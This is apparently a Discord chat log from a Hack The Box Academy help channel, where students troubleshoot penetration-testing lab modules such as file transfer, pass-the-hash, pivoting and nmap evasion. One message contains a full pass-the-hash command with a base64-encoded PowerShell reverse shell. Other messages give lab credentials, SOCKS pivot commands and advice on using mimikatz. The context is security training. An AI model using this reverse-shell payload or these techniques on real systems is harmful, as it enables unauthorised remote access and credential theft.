show a screenshot of your adapter connected to the vpn, show a screenshot of your nmap command

cloud urchin
#

yeah your vpn connection

quick basalt
#

where to

cloud urchin
#

ip a

quick basalt
cloud urchin
#

show the whole thing

quick basalt
cloud urchin
#

type ip a, and show the whole thing

#

and which vpn did you connect to

quick basalt
#

eu TCp

cloud urchin
#

also still waiting on that traceroute

quick basalt
cloud urchin
#

i'll need to see all of the stuff not just some and not cut off pics

#

you can black out your public ip

#

i don't need that

fading oracle
#

Did someone here finished the Trust module skills assesment? i have a question if i may to dm?

cloud urchin
#

also show a screenshot of the victim ip you spawned

#

bruh i got stuck on the trust attacks because the creds they provide don't work how the hell did you get past that

quick basalt
cloud urchin
#

why

quick basalt
#

the ss only

cloud urchin
#

ok

#

AD Trust attacks, these creds simply do not work. What am I doing wrong here?

#

login failure due to bad credentials via xfreerdp and remmina

sly nebula
#

Try Test@1234 as password

cloud urchin
#

ok, same result

sly nebula
#

Or was it Test@123

#

I had the same issue

cloud urchin
#

that worked. what the heck??

#

thank you so much

sly nebula
#

The description is wrong

cloud urchin
#

dang. glad i asked

sly nebula
#

The HTB_ ... password is meant for internal machines

cloud urchin
#

legend thank you

sly nebula
#

I also had a gigantic WTF moment

cloud urchin
#

is that a box? this channel is for modules from academy

empty crescent
#

oop mb

empty crescent
#

:((

dark garden
#

Hello, I am working on the module "File transfer", section "Windows File Transfer Methods", and I am at the paragraph "Connecting to the Webdav Share".
I have followed the previous steps to set up a WebDAV server on my Linux machine:
$sudo ./python3_venv/bin/wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
However, I cannot access this server from my target machine as showed in the module:

PS C:\Users\htb-student> dir \\10.10.15.145\DavWWWRoot
dir : Cannot find path '\\10.10.15.145\DavWWWRoot' because it does not exist.
At line:1 char:1
+ dir \\10.10.15.145\DavWWWRoot
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\10.10.15.145\DavWWWRoot:String) [Get-ChildItem], ItemNotFoundExceptio
   n
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

The thing is I can access it using wget:

PS C:\Users\htb-student> wget http://10.10.15.145/tutu/file.txt -OutFile tutu.txt
PS C:\Users\htb-student> type tutu.txt
tutu

I also tried to directly specify the folder tutu:

PS C:\Users\htb-student> dir \\10.10.15.145\tutu
dir : Cannot find path '\\10.10.15.145\tutu' because it does not exist.
At line:1 char:1
+ dir \\10.10.15.145\tutu
+ ~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\10.10.15.145\tutu:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

Why can't I access to my WebDAV share using UNC path?
Thanks.

rustic sage
fiery berry
dark garden
dark garden
dark garden
rustic sage
#

I didn't have any issues outside of a virtual env so give that a shot

dark garden
# rustic sage I didn't have any issues outside of a virtual env so give that a shot

It does not work either. On Linux:

$sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 
Running without configuration file.
11:21:10.855 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
11:21:10.857 - INFO    : WsgiDAV/4.2.0 Python/3.11.2 Linux-6.5.0-13parrot1-amd64-x86_64-with-glibc2.36
11:21:10.857 - INFO    : Lock manager:      LockManager(LockStorageDict)
11:21:10.857 - INFO    : Property manager:  None
11:21:10.857 - INFO    : Domain controller: SimpleDomainController()
11:21:10.857 - INFO    : Registered DAV providers by route:
11:21:10.857 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/usr/lib/python3/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
11:21:10.857 - INFO    :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
11:21:10.857 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
11:21:10.857 - WARNING : Share '/' will allow anonymous write access.
11:21:10.857 - WARNING : Share '/:dir_browser' will allow anonymous read access.
11:21:10.892 - INFO    : Running WsgiDAV/4.2.0 Cheroot/9.0.0 Python 3.11.2
11:21:10.892 - INFO    : Serving on http://0.0.0.0:80 ...

On Windows:

PS C:\Users\htb-student> dir \\10.10.15.145\tutu
dir : Cannot find path '\\10.10.15.145\tutu' because it does not exist.
[...]

PS C:\Users\htb-student> dir \\10.10.15.145\DavWWWRoot
dir : Cannot find path '\\10.10.15.145\DavWWWRoot' because it does not exist.
[...]

PS C:\Users\htb-student> wget http://10.10.15.145/tutu/file.txt -OutFile tutu.txt
PS C:\Users\htb-student> type tutu.txt
tutu
#

And here are the logs on Linux server:

11:23:39.454 - INFO    : 10.129.249.156 - (anonymous) - [2024-05-08 09:23:39] "GET /tutu/file.txt" depth=0, elap=0.002sec -> 200 OK
#

Is it possible that there are a firewall on the Windows machine? I would be surprised because I suppose the traffic goes through port 80 in both cases.

rustic sage
#

Don't think so

fathom pendant
#

Can you do smbclient -U "" -N -L //127.0.0.1/?

#

From your attack machine

dark garden
# fiery berry Does the folder 'DavWWWRoot' exists where you have spawned the 'Webdav Share'?

Creating a folder DavWWWRoot does not change anything:

PS C:\Users\htb-student> dir \\10.10.15.145\DavWWWRoot
dir : Cannot find path '\\10.10.15.145\DavWWWRoot' because it does not exist.
At line:1 char:1
+ dir \\10.10.15.145\DavWWWRoot
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\10.10.15.145\DavWWWRoot:String) [Get-ChildItem], ItemNotFoundExceptio
   n
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\Users\htb-student> wget http://10.10.15.145/DavWWWRoot/file.txt -OutFile dav.txt
PS C:\Users\htb-student> type dav.txt
something
fathom pendant
#

Just do dir \\ip\

#

See if that lists something

fiery berry
dark garden
# fathom pendant Can you do `smbclient -U "" -N -L //127.0.0.1/`?

This does not work either:

$smbclient -U "" -N -L //127.0.0.1/
do_connect: Connection to 127.0.0.1 failed (Error NT_STATUS_CONNECTION_REFUSED)
$smbclient -U "" -N -p80 -L //127.0.0.1/
Protocol negotiation to server 127.0.0.1 (for a protocol between SMB2_02 and SMB3) failed: NT_STATUS_CONNECTION_DISCONNECTED
dark garden
# fathom pendant Just do `dir \\ip\`

I get the same error:

PS C:\Users\htb-student> dir \\10.10.15.145\
dir : Cannot find path '\\10.10.15.145\' because it does not exist.
At line:1 char:1
+ dir \\10.10.15.145\
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\10.10.15.145\:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
inland shoal
#

i just solved this unintendedly via hybrid analysis, anyone mind telling me how im supposed to actually find the function via x64dbg/IDA?

dark garden
# fathom pendant Can you do `smbclient -U "" -N -L //127.0.0.1/`?

I also tried to accept more version of the protocol by modifing my /etc/samba/smb.conf file, but I still have the same error:

$smbclient -U "" -N -p80 -L //127.0.0.1/
Protocol negotiation to server 127.0.0.1 (for a protocol between LANMAN1 and SMB3) failed: NT_STATUS_CONNECTION_DISCONNECTED
fathom pendant
#

I generally don't bother with wsgidav ¯_(ツ)_/¯

#

Other methods are more reliable

#

Also DavWWWRoot is special as windows should recognize it, but linux doesn't

distant island
#

can someone help me how to modify the script in the Broken Authentication - Predictable Reset Token - Question 1 module

fathom pendant
#

UTC, +/- 1 second (1000ms on each end

#

In total it's 2001 requests, -1 second, current, +1 second

distant island
fathom pendant
#

No

#

Haven't done this modul

#

Just echoing the common thing

#

Range needs to start before and after "now"

#

Also time needs to be in ms

#

You're checking epoch time

#

120 sounds like you're doing 120 seconds or so

#

I forget how it works

#

Also wrap your codeblock in backticks

fading olive
#

Hello everyone, stuck on PASSWORD ATTACKS, Pass the Hash (PtH) question : Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

After I connect to a powershell console using Julio's credentials, I run the commands suggested in the lesson and apparently Import-Module is not recognized as a cmdlet and when I run the Invoke-WMIExec command, I get nothing.

fathom pendant
#

Put ```\php before and ``` after your code

fathom pendant
#

But 120 is a wide fucking range

#

Your start_time is only doing (current time - 120 seconds) and the range is only 1+ that

#

So you're literally not even checking the right parameters

#

Is that the code given?

#

Or did you generate that code yourself

distant island
fathom pendant
#

Ah

distant island
# fathom pendant Ah

this is the hint Convert the displayed date to epoch time in milliseconds and use it in the script you will create.

fathom pendant
#

Again, haven't touched the module, so there's likely something simple you're overlooking

fathom pendant
#

Which is where +/- 1s comes from

#

Or +/- 1000 ms

hexed lintel
#

In WEB SERVICE & API ATTACKS
SOAPAction Spoofing

#

upper payload gives 'This function is only allowed in internal networks' but lower payload works why?

fathom pendant
#

ExecuteCommandRequest vs LoginRequest

#

A command request should be executed by internal networks

#

Wheras you can login from "outside" to the forward facing service

fringe urchin
#

Its same as rhe screenshot

distant island
fathom pendant
#

not my problem lol. ¯_(ツ)_/¯

distant island
fathom pendant
#

If the expected solver is in py then not much you can do about that

acoustic owl
fading olive
# fringe urchin You invoke the module on the machine you are rdped into.

Hi, thanks for the answer! So I'm connected via rdp to julio on MS01. I have opened a port using nc.exe on one terminal, and i am launching the command : '.\Invoke-WMIExec -Target DC01 -Username julio -Domain inlanefreight.local -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e ..."' and yet I don't get anything on the nc.exe listener...

fathom pendant
#

Is your b64 revshell correct?

civic dawn
#

Hello, need little help please, I think I deleted hashcat by mistake, how could I reinstall it ?

fathom pendant
#

Generally sudo apt install hashcat should work

#

Second: how did you accidentally delete it? Running around as root?

#

If it gives error, try adding --fix-broken or --fix-missing

civic dawn
civic dawn
# fathom pendant Generally `sudo apt install hashcat` should work

sudo apt install hashcat
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
hashcat : Depends: hashcat-data (>= 6.2.6+ds2-1) but 6.2.6+ds1-1 is to be installed
Depends: libminizip1t64 but it is not installable
E: Unable to correct problems, you have held broken packages.

fading olive
# fathom pendant Is your b64 revshell correct?

I'd send you a screenshot if I could but it seems discord won't let me. On the website I chose 172.16.1.5, port 9001 and PowerShell #3 (Base64). I don't think there is anything else to select... And I ran nc.exe -lnvp 9001.

young cave
#

hey, got stuck on that one for hours. Try event.created and mess with the customize time interval 😉

fathom pendant
#

Check with ipconfig /all

#

And look for the 172.16 interface

#

Again your reverse needs to be correct alongside the target

fading olive
fathom pendant
#

And your listener is running in another window to be extra sure

#

Also generally when listening for shells you do lvnp

#

Not lvp

solid moth
#

parallel_read returned NT_STATUS_IO_TIMEOUT how do i solve this ?

fathom pendant
solid moth
#

that's sad

fathom pendant
#

But on a serious note: if not already, use tcp vpn. If that doesn't resolve, change vpn region

solid moth
#

ok i'try ycp

#

tcp

rapid citrus
#

Hello

#

I want to install lixus

fading olive
rapid citrus
#

But I am phone

#

Have!

fathom pendant
dim wolf
#

you know sometimes powershell just doesn't work

#

that's when you rely on the good ol classic nc for windows

rapid citrus
fathom pendant
#

Don't

#

Just wait until you have a laptop

rapid citrus
#

I don't have money

fading olive
rapid citrus
#

I have 16 old

fathom pendant
#

Even a half-decent $100 laptop is better than a phone

rapid citrus
#

Ok

dim wolf
#

do you know if the windows host even has nc?

fathom pendant
fathom pendant
fading olive
#

There is a folder called C:\tools in which there is a nc.exe executable

solid moth
#

can anyone download the file for me please ?

fathom pendant
#

It's in c:/tools

fathom pendant
fading olive
rapid citrus
#

I have destroy laptop

solid moth
#

i already cracked the password on pwnbox but i can't get the file

#

i am not cheating

dim wolf
#

damn dude.. if you got your ports forwarded correctly then it should work

#

what shell are you running nc in

fading olive
distant island
#

Broken Authentication Predictable Reset Token
if anyone did this module and i can DM to help with modifing the script i will apprentice it so much ❤️

solid moth
#

anyone already passed Password Attacks Lab - Hard ?

dim wolf
#

yea i did

solid moth
#

i just need the backup.vhd

fathom pendant
#

The smb file download is one of the semi-final steps

fathom pendant
fading olive
# dim wolf damn dude.. if you got your ports forwarded correctly then it should work

Here's the full command just to be sure:
PS C:\tools\Invoke-TheHash> .\Invoke-WMIExec -Target DC01 -Username julio -Domain inlanefreight.htb -Hash --hash-- -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAxADYALgAxAC4ANQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

fathom pendant
#

Resetting target

fathom pendant
#

I suggest redacting the hash

#

At least if you're sharing it

fading olive
fathom pendant
#

no: the admin hash is, one of the questions is to obtain Julio's hash

solid moth
#

i have tried changing region, reset target, reboot my vm,and change my vpn from udp to tcp like you just said

#

none of them worked

fathom pendant
#

terminate box -> restart it -> wait like 5 minutes

#

the issue is that your connection for w/e reason isn't stable

#

so if you tried multiple vpn regions then it's not HTB

fading olive
dim wolf
#

oh this isn't even a pivoting thing.

fathom pendant
#

Password Attacks - PtH section

dim wolf
#

if it's an imported module, why are you using .\Invoke-WMIExec

fathom pendant
dim wolf
#

does that work? the .\

fathom pendant
#

oh

#

didn't realize that part, just waking up myself kek

dim wolf
#

it's even worse when i don't have access to a pc. can't check anything, tired af

fathom pendant
#

yea Powershell Commandlets aren't run with ./

fading olive
#

Ok I'll try without then

fathom pendant
#

you import things with import-module C:/path/to/file or ./file.psd1 if in the local directory

fading olive
#

WORKED!!! Finally
So the error was using .\ after having imported

dim wolf
#

very good. .\ is just gonna try to run whatever is in your current dir

tranquil plover
#

For the Server-Side Attacks Module in the SSTI section I could not get the tplmap tool mentioned in the module. I ended up using SSTIMap from github and it worked with the same command line arguments in the example on that module

obsidian phoenix
#

👍

distant island
#

anyone solved this before
Broken Authentication - Predictable Reset Token - module

wraith delta
#

Hi guys im on AD skills assesment 1 im stuck on the question "Find cleartext credentials for another domain user. Submit the username as your answer. " I just cant get a stable shell on MS01 to run mimikatz.exe on it, Ive tried enter-pssession but its veryy unstable and im trying to transfer nc64.exe to it with Invoke-Command but i cant can someone help?

civic dawn
#

Can’t move files from Bob

C:>move sam.save \10.10.15.75\CompData
Access is denied.
0 file(s) moved.

fathom pendant
#

man... sql statements really like their spaces for the comment huh

fathom pendant
#

if you're sharing from a root-protected directory, that can cause problems

#

i suggest launching the smb share from /tmp/

wraith delta
#

Hi guys im on AD skills assesment 1 im stuck on the question "Find cleartext credentials for another domain user. Submit the username as your answer. " I just cant get a stable shell on MS01 to run mimikatz.exe on it, Ive tried enter-pssession but its veryy unstable and im trying to transfer nc64.exe to it with Invoke-Command but i cant can someone help?

fathom pendant
#

try running mimikatz and passing commands to it as `./mimikatz.exe "<command>" "exit"

wraith delta
#

the issue is i cant transfer mimikatz to it

short cloud
#

Hi guys, i just finished "Firewall and IDS/IPS Evasion - Hard Lab"
i was really close to give up and quit the whole job path until i found the solution. BUT i have no idea how should i get the solution with enumeration.. also, did not understand the question correctly.. i thought, "the service" is still referencing to the dns.. am i stupid? and can somebody maybe explain to me in pm how i should enumerate this port correctly?

fathom pendant
wraith delta
#

yeah

fathom pendant
#

well use a pivot to gain access to the network

#

and work from there

wraith delta
#

ive enter-pssession to it

wraith delta
#

but it just doesnt want to download anything

fathom pendant
fathom pendant
wraith delta
#

ive trasnferred everything through the webshell all the tools but im trying to download the files on the webshell to ms01

short cloud
fathom pendant
#

if you read the IDS/IPS evasion section again, specifucally where it talks about using a source port it will illuminate more

short cloud
#

ohhh so i can use -F with --source-port?

fathom pendant
#

without setting source port (so allowing your system to designate port > 1023) the server treats the request as a random scrape and denies access

#

i don't recommend -F if you're trying to be evasive

#

also -F could miss ports that take a minute to respond

#

-T4 is the safest most aggressive timing option

short cloud
#

but i had no hint for the port i was looking for... should i make port lists on my own?

fathom pendant
#

-F only scans the top 100 COMMON ports

#

-p- scans all ports

#

you're gonna miss the right port if you don't properly enumerate

short cloud
#

ohh i get, so i use -p- with T4 is saver with more ports detected

fathom pendant
#

yes

#

-T4 sets a bunch of timing options

#

while -F says it's the "Fast option" it's Fast because it's ONLY scanning 100 ports

sleek epoch
#

Hi guys

fathom pendant
#

whereas the port required for the answer is outside the top 100 port range

#

(and requires some other techniques to find)

short cloud
#

yea i understood that, but i tested with t1 (i think) and it lasted hours.. so i was thinking, that this couldn't be correct

fathom pendant
#

t1 is the slowest timing

short cloud
#

t0 would be actually

fathom pendant
#

literally slower than just running nmap without any timing options

#

well yes but you get the point

short cloud
#

yea, thank you so much for the clarification.. i am sometimes a bit lost doing cpts without a pentesting background

fathom pendant
#

i don't have a pentesting background either

#

i just RTFM and go

#

like i'm breezing through some modules where a handful of people got "stuck" and literally, my only slight problem was a missed syntax or character in payload

#

¯_(ツ)_/¯

wraith delta
#

Yo marcie lee can you just help me out on how to transfer a file from the webshell to ms01 with powershell would be much appreciated.

fathom pendant
#

i.e. many people get stuck on the "bruteforcing" module... i found it mostly trivial... at least from the perspective of just doing what it says

fathom pendant
short cloud
#

yea but if you say t4 is correct and the lesson says t3 is default, then i don't get the evasion part if i scan even faster ^^

wraith delta
fathom pendant
#

you can host a python http server and from the webshell iwr http://your_ip:port/file -Output <filename>

fathom pendant
wraith delta
#

Yeah but thats a different case its the webshell to the MS01 a seperate windows machine on the 172 subnet

fathom pendant
#

I need to re-set up my nginx hack filehosting server for it

wraith delta
#

not from linux to webshell ive done that

fathom pendant
#

oh

#

depending on how you have access to MS01; you can mount a drive with xfreerdp

#

/drive:

#

ssh uses scp

#

scp source destination

distant island
#

i finished all the Broken Authentication molue except this part Predictable Reset Token pepehands

wraith delta
#

i only have a set of credentials to access ms01 but only through enter-pssession and its very non fucntional so im trying to somehow get nc64.exe on ms01 and then connect to it from the webshell

old oasis
fathom pendant
old oasis
distant island
fathom pendant
#

there's some like ligolo that's just set up and go

wraith delta
fathom pendant
#

though the most popular tool currently, isn't discussed in it

wraith delta
#

ah ok

fathom pendant
#

so instead of having some revshell you can just either ping the internal network directly or via proxychains socks 4/5

fathom pendant
#

or just decided to pick up AD Enum

wraith delta
#

ur right but how am i gonna be able to download a file from my linux machine from ms01 since i cant download any tool onto ms01 to create a tunnel between the ms01 and webshell

fathom pendant
#

AD Enum & attacks assumes some level of understanding of pivoting

wraith delta
fathom pendant
#

ok

#

let me be more clear

#

you don't need to bridge between ms01 and webshell

#

as they're connected

#

once you are running a pivot on the web01 host; you can connect directly to ms01

#

so any direct tool like xfreerdp or ssh will be viable

#

evil-winrm would likely be the viable option to connect to a ps session on MS01; and it has an upload/download functionality

old oasis
#

MarcieLee why you not doing any of the exams. You seem pretty knowledgable?

fathom pendant
#

bypassing the need to double hop your tools

fathom pendant
wraith delta
old oasis
#

Ah ok you just cba or?

fathom pendant
#

took like a few weeks off for mental health and catching up on uni work

old oasis
#

ah ok makes sense

#

health comes first

fathom pendant
#

spent 4 hours yesterday doing the web ones between AD enum and SQLi intro module

#

some of that time was literally I FORGOT TO SELECT Y ON AN OPTION IN CUPP

rustic sage
fathom pendant
#

the other stuff is just additional helpers

wraith delta
#

bro im trying to create the webshell as a pivot but it just doesnt work C:\windows\system32\inetsrv>.\plink.exe -ssh -D 9050 kali@10.10.14.55
.\plink.exe -ssh -D 9050 kali@10.10.14.55
FATAL ERROR: Network error: Connection timed out

C:\windows\system32\inetsrv>

fathom pendant
#

use the existing webshell to drop the pivot on

#

also is ssh running on your kali

wraith delta
#

yes

wraith delta
fathom pendant
#

but there's a bunch of other tools to use

#

i use ligolo, personally, as it's much nicer framework and setup

wraith delta
#

alr

wraith delta
#

Thnaks bro

#

oops

#

Created a pivtor and connected using evilwin from my linux

fathom pendant
#

now you can use evil-winrm's upload/download functionality to upload/download :D

wraith delta
#

yup thanks so much

flint ore
#

Hello everyone, does anyone know about the approximate dates of the DACL Attacks module extension and is there any information about future Expert certifications from HTB related to Active Directory?

fathom pendant
#

especially considering that there's already a handful of advanced AD related modules

limber river
#

CPTE what a bad name

fathom pendant
#

¯_(ツ)_/¯

#

I can't think of an apt 4 letter acronym

#

since most start with C

#

C___

next bronze
#

it's CPEE

limber river
#

APTS

next bronze
#

or even CPEEN

fathom pendant
#

Certified [field]

limber river
#

so CAPTS

flint ore
fringe urchin
limber river
fading olive
fringe urchin
latent glen
#

because the the agent doesnt have 2 interfaces

old oasis
#

guys most of us havn't even mastered the current certs and we asking for expert certs 😂

#

how many have passed the CPTS and CBBH for example

limber river
old oasis
#

Nice I am 80% through CBBH

flint ore
old oasis
#

I don't find AD to be too difficult but its also because I have a sysadmin background I can see it being overwhelming for newbies

#

Although I havnt done the AD modules yet

#

Just going from what I learned in the PNPT

fathom pendant
#

Certified Advanced Persistent Threat

#

as that's more of a classification than a type of job

old oasis
#

Certified Serial Penetration Tester

#

CSPT

fathom pendant
#

i.e. a random user being able to change an admin's password kek

old oasis
#

isnt most AD pentesting taking advantage of misconfigurations?

fathom pendant
#

yes

#

but it also shows how you can get the info from built-in tooling AND more optimized tools

rapid citrus
#

Pro I want to learn hacking but I have phone🤣

autumn crest
#

Hi everyone, I'm asking for help because in the module attacking the common services (SQL DATABASE) I can't connect using the htbduser credentials and pass MSSQLAccess01! with none of the recommended tools, I've been stuck for hours. Thank you

fathom pendant
#

and if you're typing the PW in plaintext in your connection -- wrap it in singlequotes

autumn crest
autumn crest
#

sorry

fathom pendant
#

nah

#

i'm more using that gif as the feeling

#

as I had that feeling when I made the correction

#

then promptly cried